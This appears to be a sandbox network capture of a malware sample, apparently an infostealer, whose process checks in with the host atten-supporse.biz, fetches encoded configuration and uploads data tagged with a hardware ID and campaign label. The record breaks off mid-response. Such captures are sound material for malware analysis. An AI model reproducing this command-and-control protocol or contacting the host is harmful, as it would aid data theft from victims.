00 00 00 00 00 00 00 00 00 00 00 9b dc 40 f0 Data Ascii: lrQMn 64F6(X&7~`aO@
2024-11-29 19:07:50 UTC	1018	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:50 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=sesr1fd5brua2f0mg49ps2b16m; expires=Tue, 25-Mar-2025 12:54:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=Hp79GBcVK3K4QElwb4y%2BfxSoanQT7DAOLN4CQqFiz1vhaQ2o5xHaji7XpnFHx4X5IDzn5fVAwKMQ7koB5ntVLbAvAjlselmjAw%2BDZeoCmfHK6BFSenwgbTEVnc82VpeIopVfasM%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e20568ac0f6c-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1492&min_rtt=1485&rtt_var=572&sent=12&recv=24&lost=0&retrans=0&sent_bytes=2846&recv_bytes=21351&delivery_rate=1886304&cwnd=180&unsent_bytes=0&cid=3bc0f99af0b5aa82&ts=1008&x=0"
2024-11-29 19:07:50 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:50 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.4	50079	172.67.165.166	443	3288	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:50 UTC	265	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 8 Host: atten-supporse.biz
2024-11-29 19:07:50 UTC	8	OUT	Data Raw: 61 63 74 3d 6c 69 66 65 Data Ascii: act=life
2024-11-29 19:07:51 UTC	1029	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=d3d8t2ofp7cj0j6uc1ka3d6png; expires=Tue, 25-Mar-2025 12:54:29 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=B8qTyd6%2F7sACcxnPWeY7%2F7gn0nlfHP%2BJcHp5Ja3ecB5EiElvlDl%2BR%2FctdLO0dXa%2FNekPSobfv%2F1kdOu%2FkP%2FyUUShFKby08b2%2FoBfOaVoUzJ9GBTv0yDhFtaO7E6DivWsBGShLnc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e2098e7a4217-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1717&min_rtt=1710&rtt_var=656&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2846&recv_bytes=909&delivery_rate=1648785&cwnd=239&unsent_bytes=0&cid=9d2ebb47162de615&ts=811&x=0"
2024-11-29 19:07:51 UTC	7	IN	Data Raw: 32 0d 0a 6f 6b 0d 0a Data Ascii: 2ok
2024-11-29 19:07:51 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.4	50080	172.67.165.166	443	3288	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:52 UTC	266	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 53 Host: atten-supporse.biz
2024-11-29 19:07:52 UTC	53	OUT	Data Raw: 61 63 74 3d 72 65 63 69 76 65 5f 6d 65 73 73 61 67 65 26 76 65 72 3d 34 2e 30 26 6c 69 64 3d 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 26 6a 3d Data Ascii: act=recive_message&ver=4.0&lid=LOGS11--LiveTraffic&j=
2024-11-29 19:07:53 UTC	1017	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qo2jh91p215vgf0s7be98cogt5; expires=Tue, 25-Mar-2025 12:54:31 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=G7IEx%2FWIINVzhCoJabtVqnx7JhL6TUtCxdlbVVBBPzAe8aJ12PyrTWSD79zycFpAln7htpMxfi6GRmLdBPdHo6osgxAqrnb5dN23WN2HT%2F%2BsG%2B1piTn1jtCjF14crYIAp9eCcIE%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e216ee4f72a5-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1794&min_rtt=1781&rtt_var=694&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2847&recv_bytes=955&delivery_rate=1548250&cwnd=197&unsent_bytes=0&cid=9e5fa42e168daf9d&ts=853&x=0"
2024-11-29 19:07:53 UTC	352	IN	Data Raw: 63 63 66 0d 0a 4b 6b 50 4e 2f 58 78 77 61 56 70 6f 32 31 65 6d 44 74 52 71 31 35 73 32 4f 72 73 38 5a 41 6e 53 4a 6d 32 70 4e 42 30 46 65 78 64 52 59 62 76 66 52 6b 52 46 65 42 75 2b 64 5a 78 36 70 68 2b 79 74 78 52 62 33 78 35 65 62 37 4e 4b 48 73 77 59 50 33 4d 57 4e 52 41 6c 72 4a 45 50 46 55 56 34 44 61 4e 31 6e 46 57 76 53 4c 4c 31 46 41 43 5a 57 51 35 72 73 30 6f 50 79 46 39 79 64 52 64 30 51 69 2b 71 6c 52 6b 54 44 54 73 45 74 6a 4c 44 61 37 55 41 75 66 4a 62 55 74 59 65 53 43 75 33 58 45 2b 54 46 6c 42 67 44 33 5a 6e 49 72 36 57 58 67 31 46 49 55 71 2b 4f 59 51 30 39 67 75 79 2b 56 70 63 33 31 63 4d 59 62 70 43 44 73 31 65 62 57 77 64 66 30 49 68 71 5a 51 54 47 68 6b 32 44 72 45 35 78 57 47 31 53 50 75 35 55 30 43 5a 42 6b 59 34 67 6b 63 65 32 6b Data Ascii: ccfKkPN/XxwaVpo21emDtRq15s2Ors8ZAnSJm2pNB0FexdRYbvfRkRFeBu+dZx6ph+ytxRb3x5eb7NKHswYP3MWNRAlrJEPFUV4DaN1nFWvSLL1FACZWQ5rs0oPyF9ydRd0Qi+qlRkTDTsEtjLDa7UAufJbUtYeSCu3XE+TFlBgD3ZnIr6WXg1FIUq+OYQ09guy+Vpc31cMYbpCDs1ebWwdf0IhqZQTGhk2DrE5xWG1SPu5U0CZBkY4gkce2k
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 66 48 77 73 71 41 72 49 2b 77 58 36 39 41 62 6a 30 56 46 58 54 55 51 56 72 74 30 34 46 78 46 78 37 61 68 52 7a 53 43 48 76 30 56 34 56 45 33 68 53 2b 52 62 42 66 4c 45 45 6f 37 74 75 47 4d 59 51 48 79 75 33 53 45 2b 54 46 6e 64 69 47 6e 5a 44 4c 71 79 58 46 51 41 4c 4b 67 79 30 4d 4e 5a 71 73 77 61 2f 2b 6b 5a 53 31 31 67 46 59 72 74 4e 43 73 78 53 50 79 6c 5a 63 6c 42 68 39 39 38 2f 48 77 41 30 41 4b 34 31 68 48 50 34 45 66 58 2b 57 42 69 42 48 67 4a 71 74 45 55 4c 78 56 68 37 61 78 39 37 52 53 36 70 6c 52 34 56 41 54 41 43 75 44 6a 50 59 37 59 4e 75 50 31 53 56 4e 68 62 52 69 58 77 51 78 65 4c 44 6a 39 4a 48 6e 5a 61 59 35 71 63 45 42 77 4d 4c 6b 71 6d 65 39 30 73 73 51 54 31 6f 52 52 57 33 46 45 55 61 71 4a 42 41 64 6c 61 65 6d 45 55 64 6b 59 68 71 70 Data Ascii: fHwsqArI+wX69Abj0VFXTUQVrt04FxFx7ahRzSCHv0V4VE3hS+RbBfLEEo7tuGMYQHyu3SE+TFndiGnZDLqyXFQALKgy0MNZqswa/+kZS11gFYrtNCsxSPylZclBh998/HwA0AK41hHP4EfX+WBiBHgJqtEULxVh7ax97RS6plR4VATACuDjPY7YNuP1SVNhbRiXwQxeLDj9JHnZaY5qcEBwMLkqme90ssQT1oRRW3FEUaqJBAdlaemEUdkYhqp
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 4c 6b 71 6d 65 39 30 73 73 51 54 31 6f 52 52 55 30 46 34 4e 59 62 52 45 43 4d 5a 54 66 47 41 61 65 45 38 72 6f 5a 67 61 48 67 49 31 44 4c 6b 79 77 47 6d 6b 44 62 7a 31 57 42 69 58 48 67 46 7a 38 42 78 50 35 46 46 70 5a 44 5a 32 57 53 6a 76 67 46 41 4c 53 7a 38 47 2b 57 32 45 61 37 4d 41 76 76 39 63 57 4d 74 62 43 47 43 78 54 67 6e 4b 57 33 4e 68 47 58 52 49 4a 36 4f 66 47 52 55 5a 4b 67 2b 2f 4a 38 34 73 2b 45 69 79 34 52 51 41 6d 57 67 57 66 4b 46 53 54 66 35 56 63 57 6b 65 59 77 67 2b 34 59 5a 65 46 51 64 34 55 76 6b 2b 78 47 43 78 41 4c 50 39 58 46 66 57 56 78 52 71 76 45 6f 64 7a 46 5a 32 61 52 5a 35 51 53 79 6f 6b 68 55 59 42 6a 77 4e 75 48 57 4b 4c 4c 45 51 39 61 45 55 62 73 6c 54 43 6b 57 37 53 41 61 4c 53 54 46 2b 57 58 4a 45 59 66 66 66 47 68 34 Data Ascii: Lkqme90ssQT1oRRU0F4NYbRECMZTfGAaeE8roZgaHgI1DLkywGmkDbz1WBiXHgFz8BxP5FFpZDZ2WSjvgFALSz8G+W2Ea7MAvv9cWMtbCGCxTgnKW3NhGXRIJ6OfGRUZKg+/J84s+Eiy4RQAmWgWfKFSTf5VcWkeYwg+4YZeFQd4Uvk+xGCxALP9XFfWVxRqvEodzFZ2aRZ5QSyokhUYBjwNuHWKLLEQ9aEUbslTCkW7SAaLSTF+WXJEYfffGh4
2024-11-29 19:07:53 UTC	196	IN	Data Raw: 54 44 42 61 4c 45 4d 73 2f 59 55 46 70 6c 5a 48 69 76 6f 42 43 44 73 59 7a 31 47 49 7a 56 58 62 37 62 66 47 52 35 4c 59 45 71 31 4e 73 68 6b 75 51 36 38 39 56 35 52 30 6c 49 4e 62 37 78 4e 43 73 31 58 65 6d 49 59 63 55 51 72 71 5a 77 64 48 51 51 33 41 76 6c 37 68 47 75 75 53 4f 32 35 63 55 2f 53 55 41 41 72 72 77 6f 57 69 31 46 7a 4a 30 45 31 52 43 69 70 6d 52 73 65 43 6a 34 43 76 44 33 41 62 62 41 4f 74 76 5a 51 58 64 68 52 41 6d 65 2b 54 67 37 4b 57 6e 52 6f 45 6e 41 49 62 2b 2b 59 42 6c 4a 54 65 44 75 36 49 39 4e 38 75 6b 69 71 74 30 30 59 33 6c 4a 47 4d 2f 42 46 48 63 46 0d 0a Data Ascii: TDBaLEMs/YUFplZHivoBCDsYz1GIzVXb7bfGR5LYEq1NshkuQ689V5R0lINb7xNCs1XemIYcUQrqZwdHQQ3Avl7hGuuSO25cU/SUAArrwoWi1FzJ0E1RCipmRseCj4CvD3AbbAOtvZQXdhRAme+Tg7KWnRoEnAIb++YBlJTeDu6I9N8ukiqt00Y3lJGM/BFHcF
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 33 37 62 39 0d 0a 63 63 57 49 57 63 45 73 75 71 4a 49 59 48 67 45 78 41 72 38 36 7a 58 36 31 42 4c 76 2b 57 6c 54 58 55 77 78 6f 76 51 52 42 69 31 46 6e 4a 30 45 31 5a 43 61 69 73 52 55 65 44 48 67 56 39 79 79 45 61 37 70 49 37 62 6c 59 55 74 56 58 42 6d 4b 31 54 41 54 43 55 33 35 73 48 48 5a 4f 4c 4b 43 57 44 42 67 49 4e 67 6d 31 4f 63 4a 74 74 52 71 39 38 42 51 57 6d 56 6b 65 4b 2b 67 45 4c 73 56 62 61 32 41 4a 4e 56 64 76 74 74 38 5a 48 6b 74 67 53 72 6f 30 79 32 2b 33 42 62 50 77 58 46 6a 66 57 77 6c 6d 76 6b 4d 49 79 31 74 78 61 42 39 39 52 53 32 6b 6b 52 63 55 43 7a 6b 41 2b 58 75 45 61 36 35 49 37 62 6c 6b 57 39 6c 65 48 53 75 76 43 68 61 4c 55 58 4d 6e 51 54 56 61 4b 36 61 66 48 52 30 4d 50 41 47 31 4d 4d 46 6a 74 51 47 77 38 46 70 4b 30 46 41 4f Data Ascii: 37b9ccWIWcEsuqJIYHgExAr86zX61BLv+WlTXUwxovQRBi1FnJ0E1ZCaisRUeDHgV9yyEa7pI7blYUtVXBmK1TATCU35sHHZOLKCWDBgINgm1OcJttRq98BQWmVkeK+gELsVba2AJNVdvtt8ZHktgSro0y2+3BbPwXFjfWwlmvkMIy1txaB99RS2kkRcUCzkA+XuEa65I7blkW9leHSuvChaLUXMnQTVaK6afHR0MPAG1MMFjtQGw8FpK0FAO
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 37 48 57 58 78 6f 47 6e 5a 4a 4b 37 32 4e 45 68 73 44 50 51 61 79 4f 38 4a 2b 73 41 65 38 2b 6c 64 52 33 6c 59 4b 59 62 4e 44 54 34 55 57 65 48 39 5a 4c 51 67 43 75 49 38 54 55 68 52 32 45 2f 6b 79 79 43 7a 75 53 4c 33 30 58 46 4c 64 57 51 74 73 74 6b 30 64 77 6c 4e 78 5a 78 31 2b 52 79 65 72 6e 42 34 41 44 54 77 43 75 6a 6a 4a 59 72 55 4d 39 62 63 55 58 38 45 65 58 69 75 43 53 51 48 51 57 58 68 32 45 7a 56 58 62 37 62 66 47 52 35 4c 59 45 71 39 4f 39 5a 6e 74 77 4f 2b 39 31 4e 58 33 46 51 47 5a 4c 52 48 41 63 42 58 66 47 38 55 65 45 59 72 70 70 59 5a 48 67 38 2f 53 76 64 31 77 33 54 32 55 50 58 53 64 58 58 31 57 52 77 72 72 77 6f 57 69 31 46 7a 4a 30 45 31 52 43 69 6a 6c 52 55 56 41 54 59 44 74 7a 37 57 66 72 55 4d 74 76 42 58 58 39 42 51 42 6d 79 31 53 Data Ascii: 7HWXxoGnZJK72NEhsDPQayO8J+sAe8+ldR3lYKYbNDT4UWeH9ZLQgCuI8TUhR2E/kyyCzuSL30XFLdWQtstk0dwlNxZx1+RyernB4ADTwCujjJYrUM9bcUX8EeXiuCSQHQWXh2EzVXb7bfGR5LYEq9O9ZntwO+91NX3FQGZLRHAcBXfG8UeEYrppYZHg8/Svd1w3T2UPXSdXX1WRwrrwoWi1FzJ0E1RCijlRUVATYDtz7WfrUMtvBXX9BQBmy1S
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 6e 4a 30 45 31 5a 53 32 6f 74 68 6b 4a 53 79 64 45 6f 48 58 44 59 50 5a 51 39 66 68 66 55 74 5a 54 42 57 32 7a 54 77 72 42 56 33 68 76 46 47 64 4c 4c 71 43 62 48 68 30 4e 50 67 75 32 4d 38 4e 6c 74 77 43 79 75 52 6f 59 33 6b 5a 47 4d 2f 42 71 43 4d 68 53 50 33 68 58 62 41 67 6d 6f 39 39 47 55 67 73 79 41 4c 4d 37 78 47 75 6b 44 72 7a 35 56 30 72 61 57 41 35 74 76 45 67 43 77 31 39 2f 59 68 4a 34 51 79 79 70 6e 78 55 54 53 33 5a 4b 76 69 32 45 4e 50 59 35 75 50 64 51 56 74 70 4f 41 53 75 76 43 68 61 4c 55 58 4d 6e 51 54 56 48 4b 4c 32 59 47 78 6f 43 4f 41 53 77 50 4d 4e 6f 74 51 6d 78 39 56 74 52 32 6c 59 48 59 37 39 48 44 38 42 65 64 57 59 58 63 41 68 76 37 35 67 47 55 6c 4e 34 4a 62 6f 77 7a 32 33 30 4c 37 50 2b 57 42 6a 47 45 42 38 72 74 30 68 50 6b 78 Data Ascii: nJ0E1ZS2othkJSydEoHXDYPZQ9fhfUtZTBW2zTwrBV3hvFGdLLqCbHh0NPgu2M8NltwCyuRoY3kZGM/BqCMhSP3hXbAgmo99GUgsyALM7xGukDrz5V0raWA5tvEgCw19/YhJ4QyypnxUTS3ZKvi2ENPY5uPdQVtpOASuvChaLUXMnQTVHKL2YGxoCOASwPMNotQmx9VtR2lYHY79HD8BedWYXcAhv75gGUlN4Jbowz230L7P+WBjGEB8rt0hPkx
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 4f 47 38 37 6f 70 6b 4a 41 30 74 32 53 72 39 31 6e 44 7a 34 53 4c 48 6f 46 41 43 4a 44 46 30 2b 34 78 4e 66 6d 55 6b 78 66 6c 6c 6a 43 48 6e 39 30 56 34 41 53 32 42 4b 2f 6a 62 57 66 72 41 4c 6f 2f 6f 54 5a 75 64 77 41 57 32 31 51 78 2b 4a 65 48 52 7a 48 6a 55 47 59 61 44 66 52 69 74 4c 63 45 71 47 65 34 52 30 39 6c 44 31 7a 46 64 57 31 31 6b 51 65 76 31 71 43 4d 31 54 65 48 64 62 57 30 4d 31 71 4e 39 51 55 67 31 34 55 75 6c 37 68 47 69 6e 53 4f 32 70 42 67 4f 4d 44 56 45 37 34 6c 74 42 30 68 5a 70 4a 30 45 6e 42 6d 47 39 33 30 5a 53 54 44 73 59 71 7a 50 48 65 72 56 50 69 38 64 58 54 74 52 52 44 57 71 4f 65 69 48 47 56 33 78 70 57 30 52 65 4c 4c 2b 63 47 78 55 31 42 67 53 2b 49 63 4e 69 73 41 6a 31 74 78 52 58 6d 51 59 2f 4b 2f 67 45 4d 49 55 57 5a 79 64 Data Ascii: OG87opkJA0t2Sr91nDz4SLHoFACJDF0+4xNfmUkxflljCHn90V4AS2BK/jbWfrALo/oTZudwAW21Qx+JeHRzHjUGYaDfRitLcEqGe4R09lD1zFdW11kQev1qCM1TeHdbW0M1qN9QUg14Uul7hGinSO2pBgOMDVE74ltB0hZpJ0EnBmG930ZSTDsYqzPHerVPi8dXTtRRDWqOeiHGV3xpW0ReLL+cGxU1BgS+IcNisAj1txRXmQY/K/gEMIUWZyd
2024-11-29 19:07:53 UTC	1369	IN	Data Raw: 76 2f 4e 41 56 77 53 65 42 7a 35 62 5a 59 69 39 68 72 31 6f 52 51 66 32 6b 77 55 62 62 4e 53 44 49 78 6f 51 55 41 58 63 6b 6b 33 76 35 49 53 4d 77 67 70 41 49 63 4c 30 57 2b 34 42 72 4c 76 52 52 69 58 48 67 6b 72 36 48 31 50 67 78 5a 41 4b 56 6c 74 43 48 6e 76 71 68 30 63 42 54 38 63 71 48 6a 6a 59 72 45 4a 6f 2b 6c 5a 56 50 68 64 46 32 48 77 43 6b 2f 4e 46 69 63 31 56 7a 56 4d 4d 4f 2f 48 54 6b 42 51 62 56 6e 75 5a 5a 5a 7a 2b 42 48 31 37 78 51 41 69 78 42 47 65 66 41 63 54 34 78 56 62 58 55 66 64 6c 34 69 36 4b 45 67 4e 78 77 37 47 72 38 32 2b 6c 4b 64 42 4c 50 2b 54 6c 2f 66 65 43 59 72 2f 67 51 41 69 77 35 47 4a 31 45 31 64 32 2f 76 68 31 35 4b 53 77 30 4a 74 7a 76 44 65 71 64 46 6b 4f 35 58 53 4e 39 64 52 69 58 77 51 6b 2b 54 42 6a 45 6e 48 57 51 49 Data Ascii: v/NAVwSeBz5bZYi9hr1oRQf2kwUbbNSDIxoQUAXckk3v5ISMwgpAIcL0W+4BrLvRRiXHgkr6H1PgxZAKVltCHnvqh0cBT8cqHjjYrEJo+lZVPhdF2HwCk/NFic1VzVMMO/HTkBQbVnuZZZz+BH17xQAixBGefAcT4xVbXUfdl4i6KEgNxw7Gr82+lKdBLP+Tl/feCYr/gQAiw5GJ1E1d2/vh15KSw0JtzvDeqdFkO5XSN9dRiXwQk+TBjEnHWQI

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
7	192.168.2.4	50082	172.67.165.166	443	6692	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:53 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=NNWWND14ASGDTZG User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 1243 Host: atten-supporse.biz
2024-11-29 19:07:53 UTC	1243	OUT	Data Raw: 2d 2d 4e 4e 57 57 4e 44 31 34 41 53 47 44 54 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 4e 4e 57 57 4e 44 31 34 41 53 47 44 54 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 31 0d 0a 2d 2d 4e 4e 57 57 4e 44 31 34 41 53 47 44 54 5a 47 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 0d 0a 2d Data Ascii: --NNWWND14ASGDTZGContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--NNWWND14ASGDTZGContent-Disposition: form-data; name="pid"1--NNWWND14ASGDTZGContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic-
2024-11-29 19:07:54 UTC	1015	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:54 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=5rtd93pfkh7f0sabjakffauar7; expires=Tue, 25-Mar-2025 12:54:32 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=nxjeK2Zm489JGPmOm%2FHr9LxL78QlvxVWpmNdtXiHlSjTkr2JP6YnqK9ym05Kf38sjmFUfHC1xTZeMgMhlORKUsqfWSu2vh6BAIF9iQB3v4DB5isUCXtIb6l0bFewDiL%2BIDeCL1A%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e21a083c7274-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=2062&min_rtt=2037&rtt_var=782&sent=6&recv=7&lost=0&retrans=0&sent_bytes=2847&recv_bytes=2159&delivery_rate=1433480&cwnd=181&unsent_bytes=0&cid=6556e54798caa6ec&ts=1131&x=0"
2024-11-29 19:07:54 UTC	20	IN	Data Raw: 66 0d 0a 6f 6b 20 38 2e 34 36 2e 31 32 33 2e 32 32 38 0d 0a Data Ascii: fok 8.46.123.228
2024-11-29 19:07:54 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
8	192.168.2.4	50084	172.67.165.166	443	3288	C:\Users\user\AppData\Local\Temp\1010360001\11caca4b5d.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 19:07:55 UTC	282	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=N2WXZ9VXDNFW9LEP User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 18157 Host: atten-supporse.biz
2024-11-29 19:07:55 UTC	15331	OUT	Data Raw: 2d 2d 4e 32 57 58 5a 39 56 58 44 4e 46 57 39 4c 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 42 42 38 30 42 30 30 32 44 41 39 35 32 39 38 45 46 41 33 44 36 33 42 36 39 45 37 43 41 31 34 0d 0a 2d 2d 4e 32 57 58 5a 39 56 58 44 4e 46 57 39 4c 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4e 32 57 58 5a 39 56 58 44 4e 46 57 39 4c 45 50 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 66 69 63 Data Ascii: --N2WXZ9VXDNFW9LEPContent-Disposition: form-data; name="hwid"3BB80B002DA95298EFA3D63B69E7CA14--N2WXZ9VXDNFW9LEPContent-Disposition: form-data; name="pid"2--N2WXZ9VXDNFW9LEPContent-Disposition: form-data; name="lid"LOGS11--LiveTraffic
2024-11-29 19:07:55 UTC	2826	OUT	Data Raw: 66 35 eb c7 4a 53 81 68 2f 88 dd e0 cb 99 64 7e e6 28 bf 13 cc 94 75 5e c1 bc c6 a2 f2 ea 27 0a 66 e1 9f 97 c5 15 2e a7 07 cf 5c b7 ad 66 f0 cc 99 a8 33 f7 13 05 cf ec 85 7a 3b 85 8d 54 32 2f 1f e5 1b c1 33 7b 37 a5 bf 9f 8e 3a f1 6e 9a e0 79 69 60 c1 4c a6 f2 f7 de 4b 1f 36 af 1d f9 d7 e0 58 6d 5b 0b fd 9c 0a b5 9b 60 cc b0 d7 ab 1f 3b d0 52 0a 9f fd 54 22 95 3f 7a 94 ff 75 ab 9f a1 e3 6f 93 83 99 38 43 4e 2f 95 2f 6d 6e ac ae d3 03 1e ad ac 6f 7a a3 8a 81 36 d9 bf 1f 83 71 fd 1a ed c5 4d d3 3e 9b d8 ac 97 0c bd 15 36 2b 97 37 bb ef 2e 57 0f bc 3e 57 2a 0f 97 2f ad 6d 4a a7 02 2f 2b 7f 42 10 78 3e ba 45 a8 b5 6d 75 bf 83 75 53 b3 09 3b 9c 3e 27 56 d3 d4 ab d6 33 5e 4f 4d 1f 4e cd b2 89 b4 bc b1 b1 56 29 af ef 1e fa 70 79 ed 62 65 cf 7b d9 de 73 45 81 36 Data Ascii: f5JSh/d~(u^'f.\f3z;T2/3{7:nyi`LK6Xm[`;RT"?zuo8CN//mnoz6qM>6+7.W>W*/mJ/+Bx>EmuuS;>'V3^OMNV)pybe{sE6
2024-11-29 19:07:56 UTC	1026	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 19:07:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=qbkkhtjtts2ckcrvuf9q4etbh9; expires=Tue, 25-Mar-2025 12:54:34 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=xvvJnDCJF6SEYxBRs7c%2B4j1ayT0ptRIkHgJIxsVTJG%2BPqFGCvNZ%2BUf0Jb3c5Z8cX0aROL1bVWBfZh5vmaMWLEyuMWla826r96DZIbE0F%2FCjeAZO%2BXyj1A7v4esY0MO1p%2BgnPH34%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ea4e227fae9c343-EWR alt-svc: h3=":443"; ma=86400 server-timing: 